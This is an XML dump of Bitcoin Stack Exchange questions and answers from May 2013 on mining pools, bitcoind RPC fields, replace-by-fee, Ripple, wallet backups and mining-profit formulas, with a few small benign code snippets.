  <row Id="10731" PostTypeId="1" AcceptedAnswerId="11685" CreationDate="2013-05-09T15:37:27.997" Score="15" ViewCount="68017" Body="&lt;p&gt;Newbie miners have many misconceptions about how the hashrate of the pool they mine in will affect their mining income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a big miner joins the pool there are some unhappy miners who think that now they will get paid less because big miners take a big share of the mined coins, while others are cheering because they think a big miner will help them pull in more coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some miners believe you should pick a big/medium/small pool depending on whether your own hashrate is high or low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does pool hashrate actually affect miner income? Assuming the pool is not PPS (fixed pay).&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-06-16T13:33:03.823" LastActivityDate="2021-06-07T15:25:33.677" Title="Mining pool hashrate effect on a miner's income" Tags="|mining-pools|hashpower|pool-payout-methods|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10732" PostTypeId="1" AcceptedAnswerId="12091" CreationDate="2013-05-09T15:44:45.050" Score="12" ViewCount="2263" Body="&lt;p&gt;What is exactly the difference between &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;time&lt;/code&gt;, &lt;code&gt;blocktime&lt;/code&gt; and &lt;code&gt;timereceived&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in transaction information returned by Bitcoind JSON RPC API? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;amount&quot;: 0.02,&#xA;    &quot;blockindex&quot;: 45,&#xA;    &quot;time&quot;: 1306179671,&#xA;    &quot;category&quot;: &quot;receive&quot;,&#xA;    &quot;confirmations&quot;: 109244,&#xA;    &quot;timereceived&quot;: 1306179671,&#xA;    &quot;address&quot;: &quot;1P5xanGEdgPKYNt4BnATambHpbZ2h89bYv&quot;,&#xA;    &quot;txid&quot;: &quot;91eb6cb34b9253cce0ab5da171a0f5aae9d3d36208e23062ba61cd9e21c09a3d&quot;,&#xA;    &quot;blockhash&quot;: &quot;0000000000002e65f5cc554e99c352af958a63f4be663627f2c569e5a996a03a&quot;,&#xA;    &quot;account&quot;: &quot;&quot;,&#xA;    &quot;blocktime&quot;: 1306173564&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4723" LastEditorUserId="11136" LastEditDate="2014-08-28T20:41:59.937" LastActivityDate="2014-08-28T20:41:59.937" Title="What is the difference between time, blocktime and timereceived?" Tags="|transactions|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10733" PostTypeId="1" AcceptedAnswerId="10734" CreationDate="2013-05-09T15:53:28.427" Score="20" ViewCount="15871" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=199947.0&quot;&gt;https://bitcointalk.org/index.php?topic=199947.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what replace-by-fee means?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2020-03-27T22:16:50.680" LastActivityDate="2020-05-22T22:56:46.990" Title="What is replace-by-fee?" Tags="|protocol|replace-by-fee|bip-125-replaceable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10734" PostTypeId="2" ParentId="10733" CreationDate="2013-05-09T15:59:00.527" Score="14" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=179612.0&quot;&gt;This thread explains it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a method that allows replacing an already transmitted transaction by transmitting another transaction with a higher fee. This only works on transactions before they are signed by miners (0-confirmations).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-05-09T15:59:00.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10735" PostTypeId="2" ParentId="10731" CreationDate="2013-05-09T16:06:37.610" Score="1" Body="&lt;p&gt;I don't believe it really matters whether you mine with a small pool or a big pool.  In a small pool, you would receive bigger rewards per share, but would receive them less frequently.  In a larger pool, you would receive smaller rewards more frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both pools get the same reward for a block, it's just distributed differently, and the bigger pool finds them more frequently.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-09T16:06:37.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10736" PostTypeId="2" ParentId="10594" CreationDate="2013-05-09T16:29:37.623" Score="0" Body="&lt;p&gt;Ok this should answer your question,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib2, json&#xA;&#xA;x = float(json.loads(urllib2.urlopen('https://mtgox.com/api/1/BTCUSD/ticker').read())['return']['last']['value'])&#xA;&#xA;print x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns the last value for the MTGox USD price for bitcoins&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2013-05-09T16:29:37.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10737" PostTypeId="1" CreationDate="2013-05-09T17:08:38.597" Score="1" ViewCount="757" Body="&lt;p&gt;I've not been able to figure out why I can't relaiably get the senders address using bitcoind 8.1 on the json API with php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;foreach ($bitcoin-&gt;listtransactions() as $transaction) {&#xA; if ($transaction['category'] == 'receive') {&#xA;  $info['account'] = $transaction['account'];&#xA;  $info['address'] = $transaction['address'];&#xA;  $info['amount']  = $transaction['amount'];&#xA;  $info['confirmations'] = $transaction['confirmations'];&#xA;  $info['time'] = $transaction['timereceived'];&#xA;  $info['txid'] = $transaction['txid'];&#xA;&#xA;  $txdetails = $bitcoin-&gt;getrawtransaction($transaction['txid'],(int)1);&#xA;  foreach ($txdetails['vout'] as $vout) {&#xA;    if ($vout['value']  $info['amount']) {&#xA;      $info['sender'] = $vout['scriptPubKey']['addresses']['0'];&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result I get is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Array&#xA;(&#xA;    [account] =&gt; Pool&#xA;    [address] =&gt; n3YgVTznqBCTb5ghWwNUoSmn5z37vfg4VK&#xA;    [amount] =&gt; 2&#xA;    [confirmations] =&gt; 7&#xA;    [time] =&gt; 1368107164&#xA;    [txid] =&gt; 94a25aac9e26b19cbf3c0afd4e7689047e33f9adbea4bbe9d5bd198cdc918717&#xA;    [sender] =&gt; mvoiUMUyR5QvX1Z2SYBAqT9eK6rjuQGVCF&#xA;)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the address I get in the [address] does not receive anything I send back to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="4921" LastActivityDate="2014-01-06T15:26:11.037" Title="Senders Address with Bitcoind in PHP" Tags="|bitcoind|json-rpc|php|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10738" PostTypeId="2" ParentId="7923" CreationDate="2013-05-09T17:51:28.950" Score="2" Body="&lt;p&gt;You can also purchase XRP for Bitcoin from &lt;a href=&quot;https://xrptrader.com&quot; rel=&quot;nofollow&quot;&gt;https://xrptrader.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not tied to the service, but it's a very easy way to do it, and the price tends to be reasonable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The price has not been so reasonable lately. I would get my initial xrp via Bitstamp:USD.&lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="4923" LastEditDate="2013-05-28T19:48:24.913" LastActivityDate="2013-05-28T19:48:24.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10739" PostTypeId="1" AcceptedAnswerId="10741" CreationDate="2013-05-09T17:55:35.593" Score="2" ViewCount="1708" Body="&lt;p&gt;I don't see anywhere in the ripple client that shows my bitcoin address, and I can't recall if I entered it. When I make an offer to buy X BTC for Y XRP, where does the BTC go when accepted?&lt;/p&gt;&#xA;" OwnerUserId="4923" LastActivityDate="2013-05-09T19:32:48.707" Title="What happens when I buy BTC with XRP from the Ripple client?" Tags="|wallet|ripple|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10741" PostTypeId="2" ParentId="10739" CreationDate="2013-05-09T19:32:48.707" Score="3" Body="&lt;p&gt;Ripple operates differently for ripples and other currencies. Ripples can be transmitted between person to person like Bitcoins, while all other currencies operate like IOUs through a web of trust. When your friend that you trust sends you BTC, your Ripple accounts will show you both that they owe you some amount of money. If you ever send bitcoins to them through Ripple, the debt might be lowered, extinguished, or even reversed based on the amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get bitcoins into your Bitcoin address, you will need to go through a Ripple Gateway. They accept Ripple IOUs and pay you with an appropriate currency, including BTC.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-09T19:32:48.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10742" PostTypeId="1" AcceptedAnswerId="10786" CreationDate="2013-05-09T19:50:56.057" Score="10" ViewCount="98332" Body="&lt;p&gt;Is it worth mining Litecoins and then exchange them for Bitcoins (because I am not sure if there will be space for more crypto currencies in the future)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get about 25k hash/sec by CPU mining on my laptop, so this turns in something about 0.1 LTC per day which is 0.06 BTC per month (current exchange rate is 1:50). Does my approach make any sense or is there nowadays even any way to mine with everage/above average hardware?&lt;/p&gt;&#xA;" OwnerUserId="4578" LastEditorUserId="5406" LastEditDate="2016-02-17T20:49:49.573" LastActivityDate="2016-02-17T20:49:49.573" Title="Is it worth mining Litecoins?" Tags="|litecoin|mining-profitability|cpu-mining|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10743" PostTypeId="2" ParentId="10714" CreationDate="2013-05-09T20:00:35.607" Score="8" Body="&lt;p&gt;Since there is nothing that shows you that peers have received and are relaying your transaction you might want to leave your client open until there is one confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the initial broadcast to peers, there are subsequent re-broadcasts performed by your client if the transaction has not received a confirmation.  This re-broadcast generally will happen in under an hour and will continue indefinitely at about that pace until the transaction gets a confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without leaving your client open, these re-broadcasts will not occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If other nodes have just started up (i.e., a clean memory pool) or have flushed your transaction due to it not having gotten a confirmation after an extended period of time, only the re-broadcast will get the transaction back into that node's memory pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a transaction has a confirmation though, there is no further need to keep your client open.  There are some corner cases where that's not true (e.g., a block reorg occurs and that transaction confirmation no longer is valid, etc.) but in almost every instance once a transaction has a confirmation it then no longer needs to be re-broadcast.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="1307" LastEditDate="2013-05-09T23:27:11.357" LastActivityDate="2013-05-09T23:27:11.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10744" PostTypeId="1" CreationDate="2013-05-09T20:39:56.763" Score="1" ViewCount="229" Body="&lt;p&gt;I want to place a trade order at market price from an existing wallet in some auxiliary currency. After a successfull trade, I need to do some other work (fullfillment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm having trouble figuring out whether my order went successfull :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, when the wallet in the auxiliary currency is empty or too low (and the order should fail), I'm getting the exact same response that I'm getting upon a successfull trade:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$response = {&#xA;          'data' =&amp;gt; 'XXXXXX-XXXX-XXXX-XXXX-XXXXXXX', ## not actual order id/oid&#xA;          'result' =&amp;gt; 'success'&#xA;        };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the way I'm supposed to check for a successfull trade?&lt;/p&gt;&#xA;" OwnerUserId="4926" LastActivityDate="2014-06-07T16:56:58.617" Title="Mt. Gox API - getting confirmation of a trade order" Tags="|mtgox|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10745" PostTypeId="1" CreationDate="2013-05-09T20:49:18.807" Score="1" ViewCount="138" Body="&lt;p&gt;I am running bitcoind on a linode.com vps server and they provide some really great graphs to the owner of the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I logged in and noticed these spikes the other day: &lt;a href=&quot;https://i.stack.imgur.com/UX9Eq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/UX9Eq.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every minute that those graphs were being generated, bitcoind was running at about 400MB of memory usage and exactly 10 connections to the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any anyone explain the green download spikes shown in the picture I linked to above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am positive that I did not upgrade my system or perform and other downloading during the time frame seen on the graphs.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-05-09T21:15:35.150" Title="Can anyone explain these bandwidth download spikes that are linked to bitcoind?" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10746" PostTypeId="1" CreationDate="2013-05-09T20:52:44.077" Score="5" ViewCount="5035" Body="&lt;p&gt;I'm trying to use my visitors' CPU/GPU power to mine bitcoins (or rather litecoins) and support the website. All I've found until now are &lt;em&gt;Java&lt;/em&gt; based embeddable miners, but they need explicit user permission, and as likely all Java applets, they don't work that seamless integrated with the rest of the website. I've also found some &lt;em&gt;WebCL&lt;/em&gt; based miners, but they only work on Firefox with external plugins. The speed doesn't matters that much, as there are multiple users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there any alternatives based solely on JavaScript, HTML5 or something else? Is that even possible?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: users will acknowledge and accept it before even starting to mine. &lt;strong&gt;Please, no moral judging.&lt;/em&gt;&lt;/strong&gt; &#xA;Also, I'm willing to donate some hundreds mBTC if someone has a working alternative.&lt;/p&gt;&#xA;" OwnerUserId="4864" LastEditorUserId="5406" LastEditDate="2016-04-17T18:54:47.740" LastActivityDate="2017-07-27T20:55:00.487" Title="Are there any non-Java, web-based, embeddable miners?" Tags="|website-integration|webminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10747" PostTypeId="2" ParentId="10729" CreationDate="2013-05-09T20:56:21.920" Score="7" Body="&lt;p&gt;Knowing your private and public keys is enough to be a backup of that address. If you only have one address all you would have to do is create a new wallet and import that private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why backup the entire wallet.dat then?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Because restoring the wallet.dat saves you the step of importing the keys from the command line. Most people find it easier to backup a file than understand the details of keys and addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because many users have a lot of addresses. If you have a hundred addresses, restoring one wallet file is quicker than restoring each private key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because of change addresses. The default client ends up creating a lot of change addresses automatically. You may think you know your private/public key pair, but if you've conducted some transactions in the standard client it is likely that you also have a bunch of change addresses that you aren't directly aware of and aren't displayed in the GUI.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Because of the address buffer. The standard client keeps a buffer of 100 addresses that it intends to use. This means that even restoring a wallet.dat can sometimes save you even if you don't have an up-to-date backup of your wallet. (Because the transactions/addresses that aren't in your wallet are probably in that buffer of addresses.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In short, yes, the private/public keypairs are the important thing and if you know them (say by keeping them in a paper wallet or encrypted somewhere) you can recreate your wallet. But there are lots of mistakes you can make (such as forgetting change addresses) if you are manually tracking keys. If you aren't certain what you are doing, you may find backing up the wallet.dat as the easiest approach.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-05-09T20:56:21.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10748" PostTypeId="1" CreationDate="2013-05-09T21:10:31.050" Score="1" ViewCount="1625" Body="&lt;p&gt;I have three users on my linux system. root, daemonuser, and abeuser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;daemonuser runs bitcoind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;abeuser runs ABE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to change the permission of my &quot;blocks&quot; folder so that abeuser can read from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried placing the bitcoin data directory in the /opt/ folder and then running the command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;chmod -R +r /opt/bitcoinBlockchain&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/opt/bitcoinBlockchain/blocks is always locked to daemonuser and abeuser cannot read anything inside of it.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-07-04T12:19:04.033" Title="How to change user permissions on the /blocks/ folder in linux?" Tags="|bitcoind|linux|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10749" PostTypeId="2" ParentId="10746" CreationDate="2013-05-09T21:13:37.140" Score="4" Body="&lt;p&gt;Some quick Google searching uncovered these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin Plus &lt;a href=&quot;http://www.bitcoinplus.com/miner/embeddable&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Miner for Websites&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/hamiyoca&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hamiyoca&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jwhitehorn/jsMiner&quot; rel=&quot;nofollow noreferrer&quot;&gt;jsMiner&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The general feeling, though, is that it is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10320/how-useful-is-a-javascript-miner&quot;&gt;impractical&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-05-09T21:13:37.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10750" PostTypeId="2" ParentId="10745" CreationDate="2013-05-09T21:15:35.150" Score="2" Body="&lt;p&gt;The green in your graph indicates outgoing traffic. More than likely, those spikes indicate transfer of blockchain or unconfirmed transactions to newly-initialized nodes in the Bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-09T21:15:35.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10751" PostTypeId="1" CreationDate="2013-05-09T22:23:13.370" Score="0" ViewCount="33" Body="&lt;p&gt;I should have received an amount of bitcoins but my wallet balance in the client is still showing $0. The transfer occurred yesterday, while the client was not running. I confirmed the whole blockchain is updated and that the transaction appears at blockchain.info, yet the wallet still shows $0. What could cause this?&lt;/p&gt;&#xA;" OwnerUserId="4930" LastActivityDate="2013-05-09T22:23:13.370" Title="Wallet not updating with received bitcoin" Tags="|transactions|wallet|" AnswerCount="0" CommentCount="6" ClosedDate="2013-05-10T13:57:05.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="10752" PostTypeId="1" AcceptedAnswerId="10757" CreationDate="2013-05-09T23:07:35.140" Score="4" ViewCount="4926" Body="&lt;p&gt;I have seen other formulas, but they all vary and don't work. Can someone please show me a formula where I can plug in the difficulty and hash rate and that will give me how many bitcoin I generate in a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are online calculators, but I want a formula for a spreadsheet.&#xA;Thank you to all replies.&lt;/p&gt;&#xA;" OwnerUserId="4931" LastEditorUserId="516" LastEditDate="2013-05-10T00:45:10.700" LastActivityDate="2018-01-24T03:41:15.723" Title="Formula for calculating daily mining earnings" Tags="|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10753" PostTypeId="5" CreationDate="2013-05-09T23:19:05.380" Score="0" Body="" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-05-09T23:19:05.380" LastActivityDate="2013-05-09T23:19:05.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10754" PostTypeId="4" CreationDate="2013-05-09T23:19:05.380" Score="0" Body="For questions relating to overall structure and theory of Bitcoin or other cryptocurrencies" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-05-09T23:19:05.380" LastActivityDate="2013-05-09T23:19:05.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10755" PostTypeId="1" CreationDate="2013-05-10T00:02:01.987" Score="0" ViewCount="190" Body="&lt;p&gt;Is it normal for &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe/blob/master/README.md#welcome-to-abe&quot; rel=&quot;nofollow noreferrer&quot;&gt;ABE&lt;/a&gt; to get &quot;out of sync&quot; whilst re-creating it's blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am concerned that the number on the left does not match the number on the right. I have no idea what those two numbers are, I just know that the examples show them both being the same thing, and that they did indeed start out being the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; block_tx 1 1&#xA; block_tx 2 2&#xA; block_tx 3 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lp1p.png&quot; alt=&quot;ABE output.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process has been running for a number of hours now, and is only getting further and further &quot;out of sync&quot; with the original number as it does so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just curious if I should stop it now and start over?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="2306" LastEditDate="2013-06-09T20:18:05.447" LastActivityDate="2013-10-07T23:34:03.277" Title="Is it normal for ABE to get &quot;out of sync&quot; whilst re-creating it's blockchain?" Tags="|blockchain|bitcoind|abe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10756" PostTypeId="1" AcceptedAnswerId="10758" CreationDate="2013-05-10T00:03:55.790" Score="14" ViewCount="23327" Body="&lt;p&gt;The amount of bitcoin-like crypto currencies overwhelms me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just few minutes ago I came across &lt;a href=&quot;http://www.feathercoin.com/about/&quot;&gt;FeatherCoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the information on the official site is scarce and the only thing I was able to understand is that the difference from litecoin is the block reward and the total amount of coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the point of this?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-06-06T03:56:22.017" Title="What is the point of Feathercoin" Tags="|currencies|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10757" PostTypeId="2" ParentId="10752" CreationDate="2013-05-10T00:18:06.480" Score="5" Body="&lt;p&gt;Let X be hashes per second, and Y be the difficulty. Let Z be the Log base 1-1/(2^32*Y) of 1/2. Z is how many hashes it will take you to find a block, on average. Let A be the current block reward (it's currently 25). Let B be the number of seconds in a 24-hour day: 86,400. You will earn, on average, A*X*B/Z bitcoins per day.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-05-10T00:18:06.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10758" PostTypeId="2" ParentId="10756" CreationDate="2013-05-10T00:22:14.303" Score="12" Body="&lt;p&gt;Most Bitcoin lookalikes are not really worth looking at. The two that are more or less accepted are Litecoin and Namecoin, of which the latter is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10188/is-namecoin-a-currency&quot;&gt;not intended as a currency&lt;/a&gt;. Another more or less popular cryptocurrency that is not based on Bitcoin is Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are many more Bitcoin-based currencies. Most of them are not adopted and are thus insignificant. The value of such currencies is made by the willingness of people to exchange them for value, like objects or other money. As long as no one uses these alternative currencies, they are of no meaning at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And frankly, wouldn't it be better to first try to make one cryptocurrency succeed instead of spawning hundreds of others before the world knows what a cryptocurrency is?...&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-05-10T00:22:14.303" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10759" PostTypeId="1" AcceptedAnswerId="10765" CreationDate="2013-05-10T03:02:38.583" Score="6" ViewCount="5572" Body="&lt;p&gt;&lt;code&gt;bitcoin-qt&lt;/code&gt; has a &quot;signature verification&quot; feature where you can verify a signed message.  All it needs is the bitcoin address of the signer, the message and a short signature.  From what I understand about digital signatures, you would need the public key in order to verify a signature.  A bitcoin address is just a &lt;em&gt;hash&lt;/em&gt; of the public key.  The public key &lt;em&gt;may&lt;/em&gt; be in the blockchain but that would only be the case if the address had already claimed at least one output.  If they haven't claimed any outputs, how can the signature be verified?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2015-04-13T21:28:02.947" Title="How does the signature verification feature in bitcoin-qt work without a public key?" Tags="|bitcoin-core|message-signing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10760" PostTypeId="1" AcceptedAnswerId="10763" CreationDate="2013-05-10T03:13:13.183" Score="4" ViewCount="6308" Body="&lt;p&gt;I don't understand the advantages of pool mining if you want to maximize your return.  It seems like all it does is even out your return to make it more predictable by paying you smaller amounts more often rather than nothing for long periods punctuated by an occasional 25 BTC.  But in the end won't you end up making the same amount, if not less (considering the pool operator's profit) by joining a pool?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2016-01-20T20:28:47.470" LastActivityDate="2016-01-20T20:28:47.470" Title="Wouldn't the expected return of a mining pool be no more than solo mining?" Tags="|mining-pools|solo-mining|mining-profitability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10761" PostTypeId="2" ParentId="10755" CreationDate="2013-05-10T03:19:50.223" Score="1" Body="&lt;p&gt;I am pretty sure I can answer my own question here... the output is literally the total number of blocks, and the total number of transactions witnessed by ABE posted side by side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be running smoothly. The number of transactions is increasing almost exponentially now by the number of blocks.&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-05-10T03:19:50.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10762" PostTypeId="2" ParentId="10760" CreationDate="2013-05-10T03:50:14.610" Score="3" Body="&lt;p&gt;Yes, on average the expected return would be the same if not lower while mining in a pool due to fees. However, it greatly reduces the variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have 0.01% of the total mining speed, you would be expected to generate a block every 10000 blocks at a 50% probability. Reaching 95% probability would be a few times less often, about 1 in 50k. Joining a pool would mean you get smaller payouts more readily, so your income is less of a lottery and more of a steady pay check.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-10T03:50:14.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10763" PostTypeId="2" ParentId="10760" CreationDate="2013-05-10T03:51:35.157" Score="8" Body="&lt;p&gt;Yes, but it's a similar situation to taking out insurance - many people would rather pay a known regular amount to insure their car than take the chance that they'll have to pay a large amount occasionally. Like pool mining, insurance usually works out in favour of the other party, but it's still valuable in order to reduce your variability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have enough mining hardware operating that your payments are relatively regular, then it would likely earn you more to solo mine. If you would only solve a block very occasionally, you are taking a significant risk you'll get a low reward or nothing at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you also need to run bitcoind to solo mine, whereas you don't when pool mining. The more mining hashpower you have, the more bandwidth pool mining will use, but running a node will use a roughly constant amount of bandwidth. &lt;strong&gt;Update:&lt;/strong&gt; pools are now available that avoid this problem (Thanks, Dr Haribo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in the days when I mined with my GPU, I would've had to upgrade my internet account if I left the client running 24/7, which would have cancelled out any benefit from solo mining. &lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-05-13T09:13:58.743" LastActivityDate="2013-05-13T09:13:58.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
